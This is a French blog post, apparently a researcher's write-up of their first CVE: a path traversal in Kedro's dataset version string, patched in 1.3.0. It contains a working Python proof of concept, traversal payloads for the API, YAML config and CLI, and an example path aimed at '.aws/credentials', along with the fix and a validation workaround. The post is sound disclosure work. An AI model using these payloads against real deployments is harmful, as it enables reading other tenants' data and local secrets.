Aller au contenu principal
CVE Path Traversal Python
7 mai 2026 12 min de lecture

CVE-2026-3840 : Path Traversal dans Kedro

Une string de version, du ../ qui passe, et un argument qui se prend pour un chemin.

💡 Tip

TL;DR : Kedro < 1.3.0 colle la version d'un dataset directement dans un chemin de fichier, sans rien filtrer. version="../../../secrets" te fait sortir du répertoire prévu et lire un autre fichier sur le disque. Atteignable depuis l'API Python, la config YAML, et la CLI.


Petit aparté avant de commencer : c'est ma première CVE.

D'habitude je fais du web sur YesWeHack, mais j'avais envie de changer de paysage. Direction HuntR,la plateforme bug bounty pour de l'OSS, accessoirement pour voir si j'étais capable de décrocher une CVE. Parce qu'une CVE c'est classe : ça ramène des jets privés, du champagne, et des fans qui te demandent des selfies.

Spoiler : pas de jet privé, pas de champagne, pas de selfie. Mais une CVE quand même, donc on va dire que c'est un succès partiel.

Je vais pas faire le mec qui a tout vu non plus. Mais c'est un bug rigolo à expliquer : la vuln tient dans une ligne de code, et la même ligne casse trois entry points d'un coup.

On y va.


C'est quoi Kedro

Kedro, c'est un framework Python pour faire des pipelines data. Hébergé par la LF AI & Data Foundation, créé à l'origine par QuantumBlack (filiale McKinsey), ~11k stars sur GitHub. Si tu fais du data engineering en Python, t'es probablement déjà tombé dessus.

Un truc spécifique à Kedro : les datasets versionnés. Tu marques un dataset comme versioned: true et chaque sauvegarde crée un sous-dossier horodaté :

data/01_raw/users.csv/
├── 2024-01-15T10.00.00.000Z/
│   └── users.csv
└── 2024-02-01T08.30.00.000Z/
    └── users.csv

Pour charger une version, tu lui donnes la string de la version :

catalog.load("users", version="2024-01-15T10.00.00.000Z")

Retiens cette string. C'est elle qui pose problème.


L'image simple

Imagine un distributeur de billets qui te demande ton numéro de compte, sort le pognon (voix de Mr Krabs), point.

Maintenant imagine que tu peux taper, à la place de ton numéro, "mon compte/../compte de la dame qui était devant moi". Le DAB suivrait. Il irait sur ton compte, reculerait d'un cran dans sa base, sélectionnerait le compte de Jocelyne, et te filerait l'argent.

C'est ça, le bug. Chaque ../ dans la string version, c'est un curseur qui recule d'un dossier dans l'arborescence du disque. PurePosixPath assemble la route littéralement, et l'OS la suit jusqu'au bout.

Comment Kedro construit le chemin : version légitime vs path traversal


La vuln en une fonction

Le code coupable, dans kedro/io/core.py :

def _get_versioned_path(self, version: str) -> PurePosixPath:
    return self._filepath / version / self._filepath.name

Deux /, et la string version se retrouve concaténée dans le chemin sans aucun filtrage.

Le / ici, c'est l'operator de division de PurePosixPath. C'est joli, c'est moderne, c'est pythonique. Mais c'est pas une sandbox. Il concatène les morceaux de chemin et garde les .. dedans, parce qu'il est conçu pour manipuler des chemins, pas pour les sécuriser.

Si tu lui passes version="../../../secrets", il te répond gentiment :

data/01_raw/users.csv/../../../secrets/users.csv

Et quand l'OS résout ce chemin, les .. font reculer dans l'arborescence et tu atterris à secrets/users.csv.

Le seul garde-fou résiduel, c'est que le nom de fichier final reste self._filepath.name. Donc tu peux pas lire n'importe quoi : il faut qu'un fichier portant le même nom existe ailleurs. En théorie c'est limitant. En pratique, sur du shared storage ou du multi-tenant, des users.csv ou des config.yaml y'en a partout.

Attends, _filepath / version c'est juste de la concat de string ?


Le PoC

Le script est self-contained et tourne sur Kedro 1.2.0 stock. Il crée un dataset versionné légitime et un fichier "secret" hors-scope, puis charge les deux via Kedro.

    """
    PoC — CVE-2026-3840
    Path traversal via unsanitized version string in Kedro versioned datasets.
    Testé sur Kedro 1.2.0.
    """
    import shutil
    import tempfile
    from pathlib import Path

    from kedro.io import DataCatalog


    def main():
        # === Setup d'un projet temporaire ===
        project = Path(tempfile.mkdtemp(prefix="kedro_poc_"))

        # Dataset versionné légitime : data/01_raw/users.csv/<version>/users.csv
        legit_version = "2024-01-15T10.00.00.000Z"
        legit_dir = project / "data" / "01_raw" / "users.csv" / legit_version
        legit_dir.mkdir(parents=True)
        (legit_dir / "users.csv").write_text(
            "id,name,email\n"
            "1,Alice,alice@company.com\n"
            "2,Bob,bob@company.com\n"
        )

        # Fichier "secret" complètement hors du répertoire du dataset
        secrets_dir = project / "secrets"
        secrets_dir.mkdir()
        (secrets_dir / "users.csv").write_text(
            "id,name,email\n"
            "999,admin,admin@corp.internal\n"
            "1000,root,root@corp.internal\n"
        )

        # Config Kedro standard avec dataset versionné
        catalog_config = {
            "users": {
                "type": "pandas.CSVDataset",
                "filepath": str(project / "data" / "01_raw" / "users.csv"),
                "versioned": True,
            }
        }

        # === 1. Chargement légitime (baseline) ===
        print("=== Chargement légitime ===")
        catalog = DataCatalog.from_config(catalog_config)
        df = catalog.load("users", version=legit_version)
        print(df.to_string(index=False))

        # === 2. Traversal via l'API Python ===
        # (nouveau catalog car Kedro cache la version résolue après le premier load)
        print("\n=== Traversal via catalog.load(version=...) ===")
        catalog = DataCatalog.from_config(catalog_config)
        df = catalog.load("users", version="../../../secrets")
        print(df.to_string(index=False))

        # === 3. Traversal via la config load_versions ===
        print("\n=== Traversal via load_versions={...} ===")
        catalog = DataCatalog.from_config(
            catalog_config,
            load_versions={"users": "../../../secrets"},
        )
        df = catalog.load("users")
        print(df.to_string(index=False))

        # Cleanup
        shutil.rmtree(project, ignore_errors=True)


    if __name__ == "__main__":
        main()

Output observé :

=== Chargement légitime ===
 id  name             email
  1 Alice alice@company.com
  2   Bob   bob@company.com

=== Traversal via catalog.load(version=...) ===
   id  name               email
 999 admin admin@corp.internal
1000  root  root@corp.internal

=== Traversal via load_versions={...} ===
   id  name               email
 999 admin admin@corp.internal
1000  root  root@corp.internal

Les deux derniers blocs chargent le contenu de secrets/users.csv au lieu du dataset versionné. Même config, même nom de dataset, même appel load() - seule la string version change, et le pipeline lit un fichier complètement hors-scope. La troisième porte d'entrée (la CLI) déclenche le même bug autrement, on la traite juste après.


Les trois portes d'entrée

C'est ce qui rend la vuln intéressante : la fonction vulnérable est au cœur du mécanisme de versioning, donc toutes les façons de passer une version à Kedro sont impactées.

Trois portes d'entrée - CLI, API Python, Config YAML - convergent vers la même fonction vulnérable

Le PoC qu'on a vu au-dessus montre déjà les vecteurs API Python (catalog.load(version=...)) et config (load_versions={...}).

Le troisième, c'est la CLI :

kedro run --load-versions="users:../../../secrets"

Le parser CLI vérifie qu'il y a bien dataset:version, mais le contenu de la version, il s'en tape :

def _split_load_versions(ctx, param, value):
    load_version_list = load_version.split(":", 1)
    load_versions_dict[load_version_list[0]] = load_version_list[1]

Et la string descend telle quelle jusqu'au I/O. Pas de filtre, pas de check, rien.

📝 Note

Trois entry points, un seul bug. C'est ce qui fait qu'on peut pas juste valider à un endroit. Si tu valides la CLI, le YAML court-circuite. Si tu valides le YAML, l'API Python passe quand même. Le vrai fix doit centraliser la validation dans la fonction qui touche au filesystem (et la rejouer plus tôt aux endroits opportuns, type CLI).


L'impact réel

Lire un fichier dont tu connais le nom hors du répertoire prévu, sur le papier ça sonne moyen. C'est ce que le vendor a pensé en lui collant un score de 0.0. Sauf que dans les contextes où Kedro tourne, l'impact est plus large que ça.

Data poisoning. Kedro est un framework de pipelines. Ses datasets alimentent des modèles ML, des rapports, des dashboards. Si tu peux faire qu'un pipeline charge ton fichier au lieu du dataset attendu, tu empoisonnes les données d'entraînement, tu fausses des chiffres dans un rapport, tu injectes du contenu malveillant dans une config consommée plus loin.

Cross-tenant. Beaucoup de plateformes data hébergent plusieurs équipes sur le même stockage local partagé. La séparation est logique, pas physique. Avec un ../../../tenant_b/data/ et un filename qui matche, tu lis les datasets d'un autre client. Et vu que les conventions de nommage Kedro encouragent la standardisation, le filename matche souvent.

Lecture de secrets locaux. Le grand classique. ../../../home/user/.aws/credentials si le filename matche, etc.

⚠️ Attention

Si tu testes ce pattern en bug bounty, lis le scope d'abord. Lire /etc/passwd pour la PoC c'est tentant mais c'est aussi le truc qui transforme un rapport "valid" en mail d'avocat. Reste sur des fichiers que tu sais être de la donnée de test.


Le truc bizarre : deux CVE pour un seul bug

Là où ça devient cocasse, c'est que le même bug a fini avec deux identifiants CVE distincts, scorés à l'opposé l'un de l'autre.

Source CVE / GHSA Score Vecteur
Advisory repo kedro-org/kedro (vendor) CVE-2026-35167 / GHSA-6326-w46w-ppjw 0.0 / Low AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N
HuntR / Protect AI (CNA), via mon rapport CVE-2026-3840 / GHSA-jfxr-crxr-374q 7.1 / High AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Le vendor a publié sa propre advisory sur le repo et a coté Confidentialité, Intégrité et Disponibilité à None - soit un 0.0. C'est techniquement dans le process : GitHub permet au mainteneur de poser son propre scoring. Mais un path traversal qui lit un fichier hors du répertoire prévu, ça impacte la confidentialité par définition, et le vecteur en AV:N (Network) est discutable pour un bug qui se déclenche en local via une string de version.

En parallèle, mon rapport HuntR a abouti à une CVE séparée (CVE-2026-3840), scorée par la CNA (Protect AI) à 7.1 High avec un vecteur cohérent : AV:L (local), C:H/I:H (lecture hors-scope + data poisoning). Au moment où j'écris, NVD a la CVE en base mais n'a pas encore posé son propre score ("NVD assessment not yet provided").

Du coup il y a eu un vrai moment de confusion : deux GHSA, deux numéros CVE, le même code vulnérable. J'ai dû demander sur le rapport HuntR quel identifiant faisait foi. La réponse pratique : pour un downstream (Snyk, Dependabot, Trivy), c'est le 7.1 qui reflète l'impact réel, et le 0.0 du vendor reste l'anomalie isolée.

💡 Tip

Quand tu rapportes une vuln, propose ton propre vecteur CVSS dans le rapport et justifie chaque métrique. Ça évite que le triage te colle un score random et ça donne au MITRE / NVD un point de départ quand ils analysent la CVE plus tard.


Le fix

PR #5442 ajoute une fonction de validation centralisée qui rejette une version si elle est vide, si elle contient un séparateur POSIX / ou Windows \, ou si elle vaut exactement . ou ...

Cette validation est appelée dans _get_versioned_path() (le bon endroit, juste avant l'I/O), et rejouée côté CLI dans _split_load_versions() pour rejeter plus tôt les valeurs dangereuses. Double check, défense en profondeur.

Le workaround pour les versions non patchées :

import re

def is_safe_version(v: str) -> bool:
    if not v or v.startswith("/") or ".." in v:
        return False
    return bool(re.fullmatch(r"[A-Za-z0-9._\-:T]+", v))

C'est plus strict que le fix officiel, je rejette toute occurrence de .., même sans séparateur autour, alors que le fix officiel ne rejette .. que comme valeur complète. Conservateur mais safe : le format Kedro standard 2024-01-15T10.00.00.000Z passe sans problème.


Timeline

2026-03-07   Rapport soumis via HuntR
2026-03-10   PR #5442 mergée dans kedro-org/kedro
2026-03-31   Kedro 1.3.0 publié avec le correctif
2026-04-01   GHSA-6326-w46w-ppjw publié par le vendor (CVE-2026-35167, score 0.0)
2026-06-12   CVE-2026-3840 publiée via HuntR/Protect AI (score 7.1), NVD reçoit la CVE

Du report au fix mergé : trois jours. Du report à la 1.3.0 : moins d'un mois. Triage rapide, fix propre. La seule bizarrerie c'est le dédoublement d'identifiant CVE en fin de parcours. Bonne expérience côté hunter malgré tout, et probablement un bon premier projet à viser sur HuntR si tu veux te lancer.


À retenir

PurePosixPath et pathlib.Path ne sont pas des sandboxes. L'operator / concatène des chemins, il ne les sécurise pas. Si tu construis un chemin à partir d'une valeur user, soit tu valides en amont avec une whitelist, soit tu fais un .resolve() et tu vérifies que le résultat reste sous ton root attendu.

Et côté hunter : quand tu vois un framework qui prend une string user et la balance dans un I/O, regarde toutes les entry points. La CLI peut être validée mais l'API Python derrière ne l'est peut-être pas. Une config YAML peut court-circuiter une validation côté UI. Le code "interne" et le code "exposé" sont rarement aussi séparés que les mainteneurs le pensent.

Et si tu hésites à te lancer sur HuntR ou sur de l'audit de code OSS : c'est accessible. Ma première CVE vient d'une fonction de deux lignes dans un framework à 11k stars.

Le code critique est pas forcément là où on l'imagine.


Références


Première CVE en poche. Merci à l'équipe kedro-org pour le triage et le fix rapide.

Disclaimer habituel : teste uniquement sur des programmes où t'as une autorisation explicite. Sinon, c'est PMP : Police, Menottes, Prison.